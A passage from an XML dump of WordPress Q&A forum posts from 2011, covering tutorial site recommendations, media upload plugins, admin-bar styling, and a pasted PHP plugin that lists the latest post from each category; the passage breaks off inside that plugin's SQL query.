  <row Id="19098" PostTypeId="2" ParentId="19090" CreationDate="2011-06-03T05:21:22.743" Score="1" ViewCount="" Body="&lt;p&gt;Here are some more:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wp-snippets.com/&quot; rel=&quot;nofollow&quot;&gt;http://wp-snippets.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpsnipp.com/&quot; rel=&quot;nofollow&quot;&gt;http://wpsnipp.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpengineer.com/&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wptricks.net/&quot; rel=&quot;nofollow&quot;&gt;http://wptricks.net/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-03T05:21:22.743" />
  <row Id="19099" PostTypeId="2" ParentId="19090" CreationDate="2011-06-03T05:27:51.147" Score="0" ViewCount="" Body="&lt;p&gt;I really like Chris Coyier's work. One of his blogs is &lt;a href=&quot;http://css-tricks.com/&quot; rel=&quot;nofollow&quot;&gt;CSS tricks&lt;/a&gt;. He has done some &lt;a href=&quot;http://www.lynda.com/WordPress-3-tutorials/creating-and-editing-custom-themes/67160-2.html&quot; rel=&quot;nofollow&quot;&gt;excellent videos&lt;/a&gt; for Lynda's website, and is a &lt;a href=&quot;http://digwp.com/chris-coyier/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;good&lt;/em&gt; writer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-06-03T05:27:51.147" />
  <row Id="19100" PostTypeId="2" ParentId="19090" CreationDate="2011-06-03T05:28:49.217" Score="0" ViewCount="" Body="&lt;p&gt;@wpguy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress Answers is quickly becoming one of the most thorough WordPress references.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Im just wondering do some of you know&#xA;  blog sites that are catering quality&#xA;  wordpress tutorial posts (like working&#xA;  around in the API, theme development ,&#xA;  plugin development , articles) .&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Start by going through some of the tag archives here.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;h1&gt;&lt;a href=&quot;/questions/tagged/theme-development&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'theme-development'&quot; rel=&quot;tag&quot;&gt;theme-development&lt;/a&gt;&lt;/h1&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;h1&gt;&lt;a href=&quot;/questions/tagged/plugin-development&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'plugin-development'&quot; rel=&quot;tag&quot;&gt;plugin-development&lt;/a&gt;&lt;/h1&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;h1&gt;&lt;a href=&quot;/questions/tagged/api&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'api'&quot; rel=&quot;tag&quot;&gt;api&lt;/a&gt;&lt;/h1&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-06-03T05:28:49.217" />
  <row Id="19101" PostTypeId="2" ParentId="18695" CreationDate="2011-06-03T06:07:58.100" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: Found &lt;a href=&quot;http://wordpress.org/extend/plugins/media-library-categories/&quot; rel=&quot;nofollow&quot;&gt;Media Library Categories&lt;/a&gt; which sorts media by custom categories. All I need now is for a similar plugin to add that category to the URL so I can perform URL rewrites and get what I need!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Found a couple of plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/relocate-upload/&quot; rel=&quot;nofollow&quot;&gt;Relocate Upload&lt;/a&gt; allows you to upload to any folder and then have a drop down list when uploading media to place that new media in your custom locations. It looks ok but the files are placed in actual physical folders. It would be better if it could upload anything in one content folder and the 'folder' used in the link would be just a permalink. Also it did not work well on a quick localhost installation. It kept trying to access C:\wamp\www... instead of &lt;a href=&quot;http://localhost/&quot; rel=&quot;nofollow&quot;&gt;http://localhost/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-upload-dir/&quot; rel=&quot;nofollow&quot;&gt;Custom Upload Dir&lt;/a&gt; allows you to upload in custom directories but this did not meet my requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About &lt;strong&gt;WP Easy Upload&lt;/strong&gt; - I do not want to use it since I don't want to give FTP access to any plugin inside the installation for security reasons.&lt;/p&gt;&#xA;" OwnerUserId="5804" LastEditorUserId="5804" LastEditorDisplayName="" LastEditDate="2011-06-03T07:55:41.093" LastActivityDate="2011-06-03T07:55:41.093" />
  <row Id="19102" PostTypeId="1" AcceptedAnswerId="19138" CreationDate="2011-06-03T06:47:28.050" Score="0" ViewCount="259" Body="&lt;p&gt;For Example,Now I have 3 Categories Like Food,Transport,Technology.Under These Categories I have Many Posts.Now I Want To Show the Latest Post From Each Category.{How to get Recent Post From Each Category with Thumbnail?}Is This is Possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Think No Plugin for This One.If You have a Great Knowledge in Plugin Creation, this is the Greatest Challenge for you.Just try to Found New Things and Become a Great Founder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Question is Not Clear Means Ask Me or Edit ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks All...&lt;/p&gt;&#xA;" OwnerUserId="5669" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-03T13:50:04.497" LastActivityDate="2011-06-03T13:50:04.497" Title="How to get Recent Post From Each Category with Thumbnail?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;posts&gt;&lt;categories&gt;&lt;plugin-recommendation&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="19103" PostTypeId="1" CreationDate="2011-06-03T07:07:42.267" Score="0" ViewCount="65" Body="&lt;p&gt;How do I attain multiple post thumbnails, and have more that three thumbnails for each post.&lt;/p&gt;&#xA;" OwnerUserId="4366" LastEditorUserId="4936" LastEditorDisplayName="" LastEditDate="2011-06-03T07:13:20.270" LastActivityDate="2011-08-02T12:36:54.440" Title="Multiple Post thumbnails (at least three)" Tags="&lt;post-thumbnails&gt;&lt;multiple&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="19104" PostTypeId="2" ParentId="19094" CreationDate="2011-06-03T07:10:01.193" Score="1" ViewCount="" Body="&lt;p&gt;If you are using the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/body_class&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;body_class()&lt;/code&gt;&lt;/a&gt; function, a class &lt;code&gt;admin-bar&lt;/code&gt; will be added automatically when the admin bar is active. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&quot;home blog logged-in admin-bar&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then use that class in your CSS to specify specific rules:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.admin-bar .Div1 { /* custom styles */ }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-06-03T07:10:01.193" CommentCount="1" />
  <row Id="19105" PostTypeId="2" ParentId="19094" CreationDate="2011-06-03T07:12:53.627" Score="0" ViewCount="" Body="&lt;p&gt;You can use jquery for this with a &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_user_logged_in() ) : ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then use jquery to add class to div&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function(){&#xA;jQuery(&quot;.Div1&quot;).addClass(&quot;logged-in&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you would use this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    if ( is_user_logged_in() ) {&#xA;        echo '&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;            jQuery(document).ready(function(){&#xA;            jQuery(&quot;.Div1&quot;).addClass(&quot;logged-in&quot;);&#xA;            '&#xA;    else&#xA;        echo '';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Paste this in your functions.php file in the header.php or a plugin. Your choice. If the add class does not work try finding the div id that div1 class is inside of and use this instead 'jQuery(&quot;#divclassparent .Div1&quot;).addClass(&quot;logged-in&quot;);'&lt;/p&gt;&#xA;" OwnerUserId="4998" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-06-03T07:23:12.910" LastActivityDate="2011-06-03T07:23:12.910" />
  <row Id="19106" PostTypeId="2" ParentId="19090" CreationDate="2011-06-03T07:17:50.580" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://justintadlock.com/tags/wordpress&quot; rel=&quot;nofollow&quot;&gt;Justin Tadlock&lt;/a&gt; regularly writes quality articles on WordPress development. He's also one of the authors of the &quot;&lt;a href=&quot;http://justintadlock.com/plugindevbook&quot; rel=&quot;nofollow&quot;&gt;Professional WordPress Plugin Development&lt;/a&gt;&quot; book.&lt;/p&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-06-03T07:17:50.580" />
  <row Id="19107" PostTypeId="2" ParentId="19102" CreationDate="2011-06-03T07:26:43.350" Score="-1" ViewCount="" Body="&lt;p&gt;I Got Half Part of the code.Yes...Here it is...This Code Show's The Recent Post from Each Category but Not With Thumbnail.Now we Need to Show the Thumbnail from The Post. Will you Start to do Changes? All The Best...               &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     &amp;lt;?php&#xA;&#xA;&#xA;    $ddle_version = '1.92';&#xA;    // Setup defaults if options do not exist&#xA;add_option('ddle_header', '&amp;lt;h2&amp;gt;Latest Post From Each Category&amp;lt;/h2&amp;gt;');&#xA;add_option('ddle_sort', 'cata');&#xA;add_option('ddle_cat_links', TRUE);&#xA;add_option('ddle_hide_protected', TRUE);&#xA;add_option('ddle_show_date', TRUE);&#xA;add_option('ddle_date_format', 'F jS, Y');&#xA;add_option('ddle_excerpts', FALSE);&#xA;add_option('ddle_chars', 200);&#xA;add_option('ddle_comment_link', FALSE);&#xA;add_option('ddle_comment_num', FALSE);&#xA;add_option('ddle_comments_none', FALSE);&#xA;add_option('ddle_limit', 0);&#xA;add_option('ddle_exclude', '');&#xA;add_option('ddle_include', '');&#xA;add_option('ddle_max_per_cat', 1);&#xA;&#xA;&#xA;function ddle_add_option_pages() {&#xA;    if (function_exists('add_options_page')) {&#xA;        add_options_page('Latest From Each Category', 'DDLatestFromEach', 8, __FILE__, 'ddle_options_page');&#xA;    }       &#xA;}&#xA;&#xA;&#xA;function ddle_options_page() {&#xA;&#xA;    global $ddle_version;&#xA;&#xA;    if (isset($_POST['set_defaults'])) {&#xA;        echo '&amp;lt;div id=&quot;message&quot; class=&quot;updated fade&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;';&#xA;&#xA;        update_option('ddle_header', '&amp;lt;h2&amp;gt;Latest Post From Each Category&amp;lt;/h2&amp;gt;');&#xA;        update_option('ddle_sort', 'cata');&#xA;        update_option('ddle_cat_links', TRUE);&#xA;        update_option('ddle_hide_protected', TRUE);&#xA;        update_option('ddle_show_date', TRUE);&#xA;        update_option('ddle_date_format', 'F jS, Y');&#xA;        update_option('ddle_excerpts', FALSE);&#xA;        update_option('ddle_chars', 200);&#xA;        update_option('ddle_comment_link', FALSE);&#xA;        update_option('ddle_comment_num', FALSE);&#xA;        update_option('ddle_comments_none', FALSE);&#xA;        update_option('ddle_limit', 0);&#xA;        update_option('ddle_exclude', '');&#xA;        update_option('ddle_include', '');&#xA;        update_option('ddle_max_per_cat', 1);&#xA;&#xA;        echo 'Default Options Loaded!';&#xA;        echo '&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;&#xA;    } else if (isset($_POST['info_update'])) {&#xA;&#xA;        update_option('ddle_header', (string) $_POST[&quot;ddle_header&quot;]);&#xA;        update_option('ddle_sort', (string) $_POST[&quot;ddle_sort&quot;]);&#xA;        update_option('ddle_cat_links', (string) $_POST[&quot;ddle_cat_links&quot;]);&#xA;        update_option('ddle_hide_protected', (bool)$_POST[&quot;ddle_hide_protected&quot;]);&#xA;        update_option('ddle_show_date', (bool) $_POST[&quot;ddle_show_date&quot;]);&#xA;        update_option('ddle_date_format', (string) $_POST[&quot;ddle_date_format&quot;]);&#xA;        update_option('ddle_excerpts', (bool) $_POST[&quot;ddle_excerpts&quot;]);&#xA;        update_option('ddle_chars', (string) $_POST[&quot;ddle_chars&quot;]);&#xA;        update_option('ddle_comment_link', (bool) $_POST[&quot;ddle_comment_link&quot;]);&#xA;        update_option('ddle_comment_num', (bool) $_POST[&quot;ddle_comment_num&quot;]);&#xA;        update_option('ddle_comments_none', (bool) $_POST[&quot;ddle_comments_none&quot;]);&#xA;        update_option('ddle_limit', (string) $_POST[&quot;ddle_limit&quot;]);&#xA;        update_option('ddle_exclude', (string) $_POST[&quot;ddle_exclude&quot;]);&#xA;        update_option('ddle_include', (string) $_POST[&quot;ddle_include&quot;]);&#xA;        update_option('ddle_max_per_cat', (string) $_POST[&quot;ddle_max_per_cat&quot;]);&#xA;&#xA;        echo 'Configuration Updated!';&#xA;        echo '&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;&#xA;    } ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=wrap&amp;gt;&#xA;&#xA;    &amp;lt;h2&amp;gt;Latest Posts From Each Category v&amp;lt;?php echo $ddle_version; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;For information and updates, please visit:&amp;lt;br /&amp;gt;&#xA;    &amp;lt;a href=&quot;http://www.dagondesign.com/articles/latest-post-from-each-category-plugin-for-wordpress/&quot;&amp;gt;http://www.dagondesign.com/articles/latest-post-from-each-category-plugin-for-wordpress/&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;form method=&quot;post&quot; action=&quot;&amp;lt;?php echo $_SERVER[&quot;REQUEST_URI&quot;]; ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;info_update&quot; id=&quot;info_update&quot; value=&quot;true&quot; /&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;h3&amp;gt;Options&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;table width=&quot;100%&quot; border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;8&quot;&amp;gt;&#xA;&#xA;    &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;td width=&quot;35%&quot; align=&quot;right&quot;&amp;gt;&#xA;        Header text&#xA;    &amp;lt;/td&amp;gt;&amp;lt;td align=&quot;left&quot;&amp;gt;&#xA;        &amp;lt;input name=&quot;ddle_header&quot; type=&quot;text&quot; size=&quot;50&quot; value=&quot;&amp;lt;?php echo get_option('ddle_header') ?&amp;gt;&quot;/&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;    &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;td width=&quot;35%&quot; align=&quot;right&quot;&amp;gt;&#xA;        Sort order&#xA;    &amp;lt;/td&amp;gt;&amp;lt;td align=&quot;left&quot;&amp;gt;&#xA;        &amp;lt;input name=&quot;ddle_sort&quot; type=&quot;radio&quot; value=&quot;cata&quot; &amp;lt;?php if (get_option('ddle_sort') == &quot;cata&quot;) echo &quot;checked='checked'&quot;; ?&amp;gt; /&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp; By category (ascending)&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input name=&quot;ddle_sort&quot; type=&quot;radio&quot; value=&quot;catd&quot; &amp;lt;?php if (get_option('ddle_sort') == &quot;catd&quot;) echo &quot;checked='checked'&quot;; ?&amp;gt; /&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp; By category (descending)&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input name=&quot;ddle_sort&quot; type=&quot;radio&quot; value=&quot;datea&quot; &amp;lt;?php if (get_option('ddle_sort') == &quot;datea&quot;) echo &quot;checked='checked'&quot;; ?&amp;gt; /&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp; By date (ascending)&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input name=&quot;ddle_sort&quot; type=&quot;radio&quot; value=&quot;dated&quot; &amp;lt;?php if (get_option('ddle_sort') == &quot;dated&quot;) echo &quot;checked='checked'&quot;; ?&amp;gt; /&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp; By date (descending)&amp;lt;br /&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;    &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;td width=&quot;35%&quot; align=&quot;right&quot;&amp;gt;&#xA;        Show link to comments&#xA;    &amp;lt;/td&amp;gt;&amp;lt;td align=&quot;left&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;ddle_comment_link&quot; value=&quot;checkbox&quot; &amp;lt;?php if (get_option('ddle_comment_link')) echo &quot;checked='checked'&quot;; ?&amp;gt;/&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;    &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;td width=&quot;35%&quot; align=&quot;right&quot;&amp;gt;&#xA;        Include number of comments&#xA;    &amp;lt;/td&amp;gt;&amp;lt;td align=&quot;left&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;ddle_comment_num&quot; value=&quot;checkbox&quot; &amp;lt;?php if (get_option('ddle_comment_num')) echo &quot;checked='checked'&quot;; ?&amp;gt;/&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;    &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;td width=&quot;35%&quot; align=&quot;right&quot;&amp;gt;       &#xA;        Include link for posts with no comments&#xA;    &amp;lt;/td&amp;gt;&amp;lt;td align=&quot;left&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;ddle_comments_none&quot; value=&quot;checkbox&quot; &amp;lt;?php if (get_option('ddle_comments_none')) echo &quot;checked='checked'&quot;; ?&amp;gt;/&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;       &#xA;&#xA;    &amp;lt;/table&amp;gt;&#xA;&#xA;    &amp;lt;table width=&quot;100%&quot; border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;6&quot;&amp;gt;&#xA;&#xA;    &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;td width=&quot;35%&quot; align=&quot;right&quot;&amp;gt;&#xA;        Turn category names into links&#xA;    &amp;lt;/td&amp;gt;&amp;lt;td align=&quot;left&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;ddle_cat_links&quot; value=&quot;checkbox&quot; &amp;lt;?php if (get_option('ddle_cat_links')) echo &quot;checked='checked'&quot;; ?&amp;gt;/&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;   &#xA;&#xA;    &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;td width=&quot;35%&quot; align=&quot;right&quot;&amp;gt;&#xA;        Hide password-protected posts&#xA;    &amp;lt;/td&amp;gt;&amp;lt;td align=&quot;left&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;ddle_hide_protected&quot; value=&quot;checkbox&quot; &amp;lt;?php if (get_option('ddle_hide_protected')) echo &quot;checked='checked'&quot;; ?&amp;gt;/&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;    &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;td width=&quot;35%&quot; align=&quot;right&quot;&amp;gt;&#xA;        Show date after listed posts&#xA;    &amp;lt;/td&amp;gt;&amp;lt;td align=&quot;left&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;ddle_show_date&quot; value=&quot;checkbox&quot; &amp;lt;?php if (get_option('ddle_show_date')) echo &quot;checked='checked'&quot;; ?&amp;gt;/&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;    &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;td width=&quot;35%&quot; align=&quot;right&quot;&amp;gt;&#xA;        Date format&#xA;    &amp;lt;/td&amp;gt;&amp;lt;td align=&quot;left&quot;&amp;gt;&#xA;        &amp;lt;input name=&quot;ddle_date_format&quot; type=&quot;text&quot; size=&quot;30&quot; value=&quot;&amp;lt;?php echo get_option('ddle_date_format') ?&amp;gt;&quot;/&amp;gt;&#xA;        &amp;lt;br /&amp;gt;( Use the standard &amp;lt;a href=&quot;http://us3.php.net/date&quot;&amp;gt;PHP date() format&amp;lt;/a&amp;gt; )&#xA;    &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;    &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;td width=&quot;35%&quot; align=&quot;right&quot;&amp;gt;&#xA;        Show first X characters of posts&#xA;    &amp;lt;/td&amp;gt;&amp;lt;td align=&quot;left&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;ddle_excerpts&quot; value=&quot;checkbox&quot; &amp;lt;?php if (get_option('ddle_excerpts')) echo &quot;checked='checked'&quot;; ?&amp;gt;/&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;    &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;td width=&quot;35%&quot; align=&quot;right&quot;&amp;gt;&#xA;        Number of characters to show&#xA;    &amp;lt;/td&amp;gt;&amp;lt;td align=&quot;left&quot;&amp;gt;&#xA;        &amp;lt;input name=&quot;ddle_chars&quot; type=&quot;text&quot; size=&quot;10&quot; value=&quot;&amp;lt;?php echo get_option('ddle_chars') ?&amp;gt;&quot;/&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;    &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;td width=&quot;35%&quot; align=&quot;right&quot;&amp;gt;&#xA;        Limit list to X categories&#xA;    &amp;lt;/td&amp;gt;&amp;lt;td align=&quot;left&quot;&amp;gt;&#xA;        &amp;lt;input name=&quot;ddle_limit&quot; type=&quot;text&quot; size=&quot;10&quot; value=&quot;&amp;lt;?php echo get_option('ddle_limit') ?&amp;gt;&quot;/&amp;gt;&#xA;        (0 = unlimited)&#xA;    &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;    &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;td width=&quot;35%&quot; align=&quot;right&quot;&amp;gt;&#xA;        Excluded category IDs&#xA;    &amp;lt;/td&amp;gt;&amp;lt;td align=&quot;left&quot;&amp;gt;&#xA;        &amp;lt;input name=&quot;ddle_exclude&quot; type=&quot;text&quot; size=&quot;30&quot; value=&quot;&amp;lt;?php echo get_option('ddle_exclude') ?&amp;gt;&quot;/&amp;gt;&#xA;        &amp;lt;br /&amp;gt;(comma-separated list of cat IDs to exclude from lists)&#xA;    &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;    &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;td width=&quot;35%&quot; align=&quot;right&quot;&amp;gt;       &#xA;    &amp;lt;/td&amp;gt;&amp;lt;td align=&quot;left&quot;&amp;gt;&amp;lt;strong&amp;gt;* OR *&amp;lt;/strong&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;    &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;td width=&quot;35%&quot; align=&quot;right&quot;&amp;gt;&#xA;        Included category IDs&#xA;    &amp;lt;/td&amp;gt;&amp;lt;td align=&quot;left&quot;&amp;gt;&#xA;        &amp;lt;input name=&quot;ddle_include&quot; type=&quot;text&quot; size=&quot;30&quot; value=&quot;&amp;lt;?php echo get_option('ddle_include') ?&amp;gt;&quot;/&amp;gt;&#xA;        &amp;lt;br /&amp;gt;(comma-separated list of cat IDs to use)&#xA;    &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;    &amp;lt;tr valign=&quot;top&quot;&amp;gt;&amp;lt;td width=&quot;35%&quot; align=&quot;right&quot;&amp;gt;&#xA;        Maximum posts per category&#xA;    &amp;lt;/td&amp;gt;&amp;lt;td align=&quot;left&quot;&amp;gt;&#xA;        &amp;lt;input name=&quot;ddle_max_per_cat&quot; type=&quot;text&quot; size=&quot;10&quot; value=&quot;&amp;lt;?php echo get_option('ddle_max_per_cat') ?&amp;gt;&quot;/&amp;gt;&#xA;        (0 = unlimited)&#xA;    &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;/table&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;submit&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;set_defaults&quot; value=&quot;&amp;lt;?php _e('Load Default Options'); ?&amp;gt; &amp;amp;raquo;&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;info_update&quot; value=&quot;&amp;lt;?php _e('Update options'); ?&amp;gt; &amp;amp;raquo;&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;?php&#xA;}&#xA;&#xA;&#xA;&#xA;function dd_last_from_each() {&#xA;&#xA;    global $wpdb, $post, $wp_version;&#xA;&#xA;    $ver = (float)$wp_version;&#xA;&#xA;    $tp = $wpdb-&amp;gt;prefix;&#xA;&#xA;    $ddle_header = get_option('ddle_header');&#xA;    $ddle_sort = get_option('ddle_sort');&#xA;    $ddle_cat_links = get_option('ddle_cat_links');&#xA;    $ddle_hide_protected = get_option('ddle_hide_protected');&#xA;    $ddle_show_date = get_option('ddle_show_date');&#xA;    $ddle_date_format = get_option('ddle_date_format');&#xA;    $ddle_excerpts = get_option('ddle_excerpts');&#xA;    $ddle_chars = (int)get_option('ddle_chars');&#xA;    $ddle_comment_link = (bool)get_option('ddle_comment_link');&#xA;    $ddle_comment_num = (bool)get_option('ddle_comment_num');&#xA;    $ddle_comments_none = (bool)get_option('ddle_comments_none');&#xA;    $ddle_limit = (int)get_option('ddle_limit');&#xA;    $ddle_exclude = get_option('ddle_exclude');&#xA;    $ddle_include = get_option('ddle_include');&#xA;    $ddle_max_per_cat = get_option('ddle_max_per_cat');&#xA;&#xA;&#xA;    $hide_check = '';&#xA;    if ($ddle_hide_protected) {&#xA;        $hide_check = &quot; AND post_password = '' &quot;;&#xA;    }&#xA;&#xA;&#xA;    $sort_code = 'ORDER BY cat_name ASC, post_date DESC';&#xA;&#xA;    switch ($ddle_sort) {&#xA;        case 'cata':&#xA;            $sort_code = 'GROUP BY cat_name, post_date DESC';           &#xA;            break;&#xA;        case 'catd':&#xA;            $sort_code = 'ORDER BY cat_name DESC, post_date DESC';       &#xA;            break;   &#xA;        case 'datea':&#xA;            $sort_code = 'ORDER BY post_date ASC';                        &#xA;            break;   &#xA;        case 'dated':&#xA;            $sort_code = 'ORDER BY post_date DESC';                         &#xA;            break;   &#xA;    }   &#xA;&#xA;&#xA;    $the_output = NULL;&#xA;&#xA;    $mysqlnow = current_time('mysql');&#xA;&#xA;    if ($ver &amp;lt; 2.3) {&#xA;&#xA;        $cat_list_code = '';&#xA;        if (trim($ddle_exclude) != '') {&#xA;            $ddle_exclude = (array)explode(',', $ddle_exclude);&#xA;            foreach ($ddle_exclude as $de) {&#xA;                $cat_list_code .= &quot; AND cat_ID != '&quot; . trim(mysql_escape_string($de)) . &quot;' &quot;;&#xA;            }&#xA;        } else if (trim($ddle_include) != '') {&#xA;            $ddle_include = (array)explode(',', $ddle_include);&#xA;            $cat_list_code .= &quot; AND ( &quot;;&#xA;            $cat_tmp = array();&#xA;            foreach ($ddle_include as $de) {&#xA;                $cat_tmp[] .= &quot;  cat_ID = '&quot; . trim(mysql_escape_string($de)) . &quot;' &quot;;&#xA;            }           &#xA;            $cat_list_code .= implode(&quot; OR &quot;, $cat_tmp);&#xA;            $cat_list_code .= &quot; ) &quot;;&#xA;        }&#xA;&#xA;        $last_posts = (array)$wpdb-&amp;gt;get_results(&quot;&#xA;            SELECT post_date, ID, post_title, cat_name, cat_ID&#xA;            FROM {$tp}posts, 